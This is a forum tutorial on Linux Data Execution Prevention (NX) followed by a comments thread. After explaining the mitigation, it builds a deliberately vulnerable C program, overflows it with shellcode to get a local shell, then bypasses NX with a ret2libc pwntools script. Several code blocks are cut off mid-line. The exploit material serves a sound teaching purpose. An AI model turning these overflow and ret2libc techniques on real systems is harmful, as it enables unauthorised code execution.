Exploit Mitigation Techniques - Data Execution Prevention (DEP)

Exploit Development exploit, mitigations, nx, dep

ricksanchez Leader 3 Dec '17

Preface

Welcome to a new series about GNU/Linux exploit mitigation techniques.
We always had these awesome pwn and how2exploit articles.
I wanna shift the focus to the bypassed techniques to create a series about currently deployed approaches.
Afterwards I'd like to focus on their limitations with a follow up on how to bypass them with a sample demo.

> REMARK: This is the result of my recent self study and might contain faulty information.
> If you find any. Let me know! Thanks

This first article has a small introduction to the whole topic. Later articles will have a bigger focus on possible design choices and bypasses, especially when combining the introduced exploit mitigations.

A special thanks to @_py for proof reading!

Requirements

- Some spare minutes
- a basic understanding of what causes memory corruptions
- the will to ask or look up unknown terms yourself
- some ASM/C knowledge for the PoC part

Introduction

Ever since the first exploits appeared, the amount of publicly known ones has risen tremendously over the last two decades. Even today the total amount of public known exploits is on the rise with the increased security layers in all areas of software development. Nowadays a system breach or hostile takeover has way more impact compared to a decade ago.This leads to an increased popularity in exploiting web applications [15] and reaching any form of code execution in recent days. Nevertheless systems itself are shown to be exploitable as ever [12].

The last few years already have more than enough memorable system breaches with one of the most prominent example as of recently: the **Equifax debacle** [5] with a massive leaked dataset from over 140 million customers, showing personal data, addresses and more importantly their social security numbers (relevant CVE [7]).

Similar scenarios happened to **Sony** as well, causing leakage of unreleased movie material and data from PlayStation network users, revealing people's names, addresses, email addresses, birth dates, user names, passwords, logins, security questions and even credit card information.

Another recent incident happened under the name **BlueBorne** [4], leaving over 8 billion Bluetooth capable devices at risk. The flaw itself lies in the Bluetooth protocol and can lead from information leaks to remote code execution and is triggered over the air.

All the caused havoc in systems needs to get diminished by hardening applications and system internals even further to prevent future attacks more successfully. All major operating systems and big software vendors already adapted such features. The "incompleteness" and made trade-off deals when implementing such mechanics is the reason for reappearing breaches.

Data execution prevention (DEP)

Basic Design

The huge popularity of type unsafe languages, which gives programmers total freedom on memory management, still causes findings of memory corruption bugs today. Patching those is mostly not a big deal and happens frequently. They remain a real threat though, since many systems, especially in large scale companies run on unpatched legacy code. There these kind of flaws still exist and may cause

harm when abused. This clearly shows in the still roughly 50 % market share [1] of Windows 7 in 2017, whose mainstream support already ended in 2015.
Windows 8 and Windows 10 combined barely reach over 40% market share in 2017.
Moreover new findings are reported monthly and can be looked up at the CVE DB [9].

Preventing those memory corruptions to be used is the goal of data execution prevention (DEP) [32].
The mostly hardware based method mitigates any form of code execution from data pages in memory and hence prevents buffer based attacks, which inject malicious code in memory structures. It does so by tagging pages in memory as not executable if its contents are data and keeps them executable if it is code.
When a processor attempts to run code from a not executable marked page an access violation is thrown followed by a control transfer to the operating system for exception handling, resulting in a terminated application. Besides a hardware enforced version of DEP it can also be complemented through software security checks to make better use of implemented exception handling routines.

Overall this technique prevents usage of newly injected code into an applications memory. Even with a proceeded injection of malicious code it cannot be executed anymore as shown later.

DEP was first implemented on Linux based systems by the PAX project [11] since kernel version 2.6.7 in 2004. It makes use of a *No eXecute (NX)* bit in AMD, and the *Execute Disable Bit (XD)* in Intel processors on both 32 bit as well as 64 bit architecture.
The counter part for Windows machines was available since Windows XP Service Pack 2 in 2004 as well.

Limitations

This directly leads to the weaknesses of data execution prevention. It successfully mitigates basic buffer overflow [8] attacks, but more advanced techniques like **return to libc (ret2libc)** [62], **return oriented programming (ROP)** [33], or any other return to known code attacks are not accounted for.
These kind of attacks, often labeled under the term **arc injection** [62] make up a big percentage of recent bypasses.
They were developments to bypass DEP in particular, which make use of already present code within an application, whose memory pages are marked executable.

Return to libc uses functions and code from the system library glibc, which is linked against almost any binary. It offers a wide area of available functions.

Return oriented programming on the other hand focuses on finding present code snippets from machine code instructions, which chained together create a gadget.
A gadget consists of a few machine code instructions and always ends with a *return* statement to let the execution return to the abused application before executing the next gadget.
One gadget handles exactly one functionality. Chaining them together to a gadget chain creates an exploit.

> note: It has been shown that not always a real return statement is needed [9]. Instead a function sequence serving as a 'trampoline' to transfer control flow is used.

PoC

To make up for the wall of text above we will continue with some elementary show cases, which hopefully will demonstrate the importance of DEP/NX.

Abusing a DEP/NX disabled binary

First let's start abusing a binary, which isn't hardened at all.

Let's build a simple vulnerable binary in C ourselves.

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>


char totally_secure(char *arg2[])
{
    char buffer[256];
    printf("What is your name?\n");
    strcpy(buffer, arg2[1]);
    printf("Hello: %s!\n", buffer);
}
```

```
int main(int argc, char *argv[])
{
 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 printf("Hello, I'm your friendly & totally secure binary :)!\n");
 totally_secure(argv);
 return 0;
}
```

This code is vulnerable to a buffer overflow in the function totally_secure()

Compilation and first look at the binary

```
$ gcc vuln.c -o vuln_no_prots -fno-stack-protector -no-pie -Wl,-z,norelro -m
$ echo 0 > /proc/sys/kernel/randomize_va_space
```

First look from inside GDB

```
pwndbg> checksec
[*] '/home/pwnbox/DEP/binary/vuln_no_prots'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

pwndbg>
```

As we can see we've got fully disabled exploit mitigation techniques.
Also no ASLR whatsoever.
This is only for the sake of shining some light on this particular technique.
Combinations of exploit mitigation techniques will be covered at a later time.

Exploit

A basic overflow is induced by filling the buffer with the following contents:

```
pwndbg> c
Continuing.
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[──────────────────────────────────────────────────────────────────────────────REGISTERS──
*EAX  0x119
 EBX  0x8049838 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804974c (_DYNAMIC) ◂— 1
*ECX  0xffffccd0 ◂— 0x41414141 ('AAAA')
*EDX  0xf7fae870 (_IO_stdfile_1_lock) ◂— 0
 EDI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x5d /* 0x1b5db0 */
 ESI  0xffffce20 ◂— 0x2
*EBP  0x41414141 ('AAAA')
*ESP  0xffffcde0 —▸ 0xffffce00 ◂— 0x0
*EIP  0x42424242 ('BBBB')
[──────────────────────────────────────────────────────────────────────────────DISASM──
Invalid address 0x42424242
```

It shows that we have successfully overwritten the `EIP` and `EBP`
The executed `ret` 8 instruction took the next value off the stack
and loaded that into the `EIP` register (our ‘BBBB’) and then code execution tries to continue from there.
So we can fill the buffer with something like `/bin/sh` + `padding`, or try overflowing that position with shell code.
We can craft one ourselves or take an already nicely prepared shell code from here 29

In the end I used this one, since it honestly doesn’t make much of a difference at the moment:

```
46bytes: \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x4
```

The quick'n'dirty pwntools script:

```
#!/usr/bin/env python

import argparse
import sys
from pwn import *
from pwnlib import *

context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = '32'
context.log_level = 'DEBUG'

binary = ELF('./binary/vuln_no_prots')


def main():
    parser = argparse.ArgumentParser(description="pwnerator")
    parser.add_argument('--dbg', '-d', action='store_true')
    args = parser.parse_args()

executable = './binary/vuln_no_prots'
payload = '\x90'*222
```

Executing the whole payload :

```
pwnbox@lab:~/DEP$ python bypass_no_prot.py INFO
[*] '/home/pwnbox/DEP/binary/vuln_no_prots'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
```

```
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process './binary/vuln_no_prots': pid 65330
[*] Switching to interactive mode
Hello, I'm your friendly & totally secure binary :)!
What is your name?
Hello: \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
$ whoami
pwnbox
$
```

We successfully continued execution from our stack.
We *skipped* the `NOP`-sled and our shell got popped.
We easily achieved code execution
So far so good.

Bypassing DEP/NX

Okay so far this was just like any other simple buffer overflow tutorial out there.
Now things get a little more interesting.
We need to craft a new exploit, for the same binary, but this time with DEP/NX enabled.
The exploit from before will not work anymore as shown below.

Our new binary has the following configuration:

```
gcc vuln.c -o vuln_with_nx -fno-stack-protector -no-pie -Wl,-z,norelro -m32

gdb ./vuln_with_nx

pwndbg> checksec
[*] '/home/pwnbox/DEP/binary/vuln_with_nx'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
```

```
    PIE:      No PIE (0x8048000)

pwndbg>
```

Executing our payload from before leaves us with this:

```
 python bypass_no_prot.py INFO
[+] Starting local process './binary/vuln_with_nx': pid 65946
[*] Switching to interactive mode
Hello, I'm your friendly & totally secure binary :)!
What is your name?
Hello: \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
[*] Got EOF while reading in interactive
$ whoami
[*] Process './binary/vuln_with_nx' stopped with exit code -11 (SIGSEGV) (pi
[*] Got EOF while sending in interactive
```

GDB reveals that something went wrong:

```
pwndbg>
0xffffcd20 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[──────────────────────────────────────────────────────────────────────REGISTER
 EAX  0x119
 EBX  0x69622fff
 ECX  0xffffa7d0 ◂— 0x6c6c6548 ('Hell')
 EDX  0xf7fae870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b5db0
 ESI  0xffffce50 ◂— 0x2
 EBP  0x68732f6e ('n/sh')
*ESP  0xffffce10 —▸ 0xffffce00 ◂— 0xffffe5e8
*EIP  0xffffcd20 ◂— 0x90909090
[──────────────────────────────────────────────────────────────────────DISASM
   0x804851e  <totally_secure+88>    add    esp, 0x10
```

```
   0x8048521  <totally_secure+91>    nop
   0x8048522  <totally_secure+92>    mov    ebx, dword ptr [ebp - 4]
   0x8048525  <totally_secure+95>    leave
   0x8048526  <totally_secure+96>    ret
    ↓
 ▶ 0xffffcd20                        nop
   0xffffcd21                        nop
   0xffffcd22                        nop
```

We hit the `NOP`-sled again, so our positioning is correct!
But these memory pages are not getting executed anymore.
The result is a nasty `SEGSEGV` we do not want…

It's time for some nifty arc injection!

ret2libc

Starting with return to libc

I won't cover the technique in detail here, since the focus for these articles lies on the defense side of things.
Furthermore we already have multiple challenge and exploit technique writeups, like `@loTh1nkN0t` ret2libc `44` article.
So I'm reducing any possible overhead/duplicates.

> note: We're still paddling in no ASLR waters here. So no advanced ret2libc either. It's just for demo purposes.

Basic return to libc approach:

```
| Top of stack          | EBP       | EIP
|-----------------------|-----------|----------------------------------------
| AAAAAAAAAA            | AAAA      | Addr of system func (libc)
```

Find libc base:

1. Possible way to find linked libc:

```
ldd vuln_with_nx
    linux-gate.so.1 =>  (0xf7ffc000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e1d000)         # <
    /lib/ld-linux.so.2 (0x56555000)
```

2. Let's find the base address of libc via gdb:

```
pwndbg> vmmap libc
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xf7df7000 0xf7fab000 r-xp   1b4000 0      /lib/i386-linux-gnu/libc-2.2
0xf7fab000 0xf7fad000 r--p     2000 1b3000 /lib/i386-linux-gnu/libc-2.2
0xf7fad000 0xf7fae000 rw-p     1000 1b5000 /lib/i386-linux-gnu/libc-2.2
pwndbg>
```

find /bin/sh offset:

Now it's time to find the `/bin/sh` in it

```
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "bin/sh"
    15fa0f /bin/sh                    # <- this is our offset
```

We can assembly the shell location now via `base` + `offset`.
It yields: `0xf7df7000` + `15fa0f` = `0xf7f56a0f`

find system

```
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
    246: 00116670    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_
```

```
   628: 0003b060    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRI
  1461: 0003b060    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
```

We can assembly the shell location now via `base` + `offset` .
This yields: `0xf7df7000` + `0x3b060` = `0xf7e32060`

From here on we can assembly out final exploit.
We got everything we need.
Or we can do the following

The lazy non ASLR way 🙂

Print system position:

```
pwndbg> print system
$1 = {<text variable, no debug info>} 0xf7e32060 <system>
```

Search for a shell candidate:

```
pwndbg> find &system, +99999999,  "/bin/sh"
0xf7f56a0f
warning: Unable to access 16000 bytes of target memory at 0xf7fb8733, haltin
1 pattern found.
pwndbg>
```

This directly results in addresses we can use to craft our exploit

Final exploit

Again a quick'n'dirty pwntools script:

```
#!/usr/bin/env python

import argparse
```

```
import sys
from pwn import *
from pwnlib import *

context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = '32'
context.log_level = 'DEBUG'

binary = ELF('./binary/vuln_with_nx')
libc = ELF('/lib/i386-linux-gnu/libc-2.24.so')


def main():
    parser = argparse.ArgumentParser(description='pwnage')
    parser.add_argument('--dbg', '-d', action='store_true')
    args = parser.parse_args()

    executable = './binary/vuln_with_nx'
```

Proof of concept:

```
python bypass_ret2libc.py INFO
[*] '/DEP/binary/vuln_with_nx'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc-2.24.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
```

```
    PIE:      PIE enabled
[+] Shell located at offset from libc: 0x15fa0f
[+] Shell is at address: 0xf7f56a0f
[+] libc.system() has a 0x3b060 offset from libc
[+] system call is at address: 0xf7e32060
[+] Starting local process './binary/vuln_with_nx': pid 65828
[*] Switching to interactive mode
Hello, I'm your friendly & totally secure binary :)!
What is your name?
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ whoami
```

We successfully bypassed DEP/NX on a fairly recent Ubuntu system with our exploit.
You're invited to try it out yourselves.

> note: Remember, it all depends on your specific libc library to work.

ROP

Initially return to known code attacks like `ret2libc` were developed to bypass DEP/NX on systems. Generally all arc injection attacks can bypass DEP/NX and `ROP` might just be considered a ret2libc alternative/powerup. Hence it can be obviously used here too.
We will come back to ROP in a later article.

Conclusion

This small overview showed the effectiveness and struggles DEP/NX brings to the table.
It can be said that the introduction of this approach tried to fight against one of *the* most exploited vulnerability types out there.
Initially it was very effective, but smart ways around were found with arc injection approaches.

I hope this introduction to the article series was interesting enough to follow.
Feedback is more than welcome, especially if you missed anything while reading this article.
I'll try my best to incorporate wishes in the next one.

If no voices are raised against this series I'd like to follow up with **stack canaries** as the next topic.

Last but not least I'd like some feedback on the article style if you were so kind.
Depending on the result I can adjust my writing style to fit the desired format!

○ keep the wall of text - it fits the series 🙂 ○ gimme facts scrub. Bullet points only. short and precise, otherwise TL;DR ○ Whatever floats your boat	19 voters
Show results	

Peace out~

18

Exploit Mitigation Techniques - Stack Canaries 14

A lot about Paging, a little about Virtualization - Part #2

created	last reply	2	8.1k	3	23	17
Dec '17	Jan '18	replies	views	users	likes	links

Sirius First 100 Dec '17

Yesssss!!! Stack Canaries pleaseeee!!!

5

29 DAYS LATER

CLOSED JAN 11, '18

This topic was automatically closed after 30 days. New replies are no longer allowed.

Reply

Suggested Topics

Topic	Replies	Activity
Windows 7 after the Supportend Exploit Development windows	13	4d
[KEYGEN] I hate rectangles Challenges keygen	0	Feb 2
HackTheBox Writeup: Frolic Hackthebox Writeups	8	Mar 25
0x00sec / LeapSecurity CTF 2018 Results 0x00sec Announcem… ctf, leapsecurity, 0x00ctf2018, results	4	Dec '18
Con, anyone? [padding] Social	1	11h

Want to read more? Browse other topics in Exploit Developm… **or view latest topics.**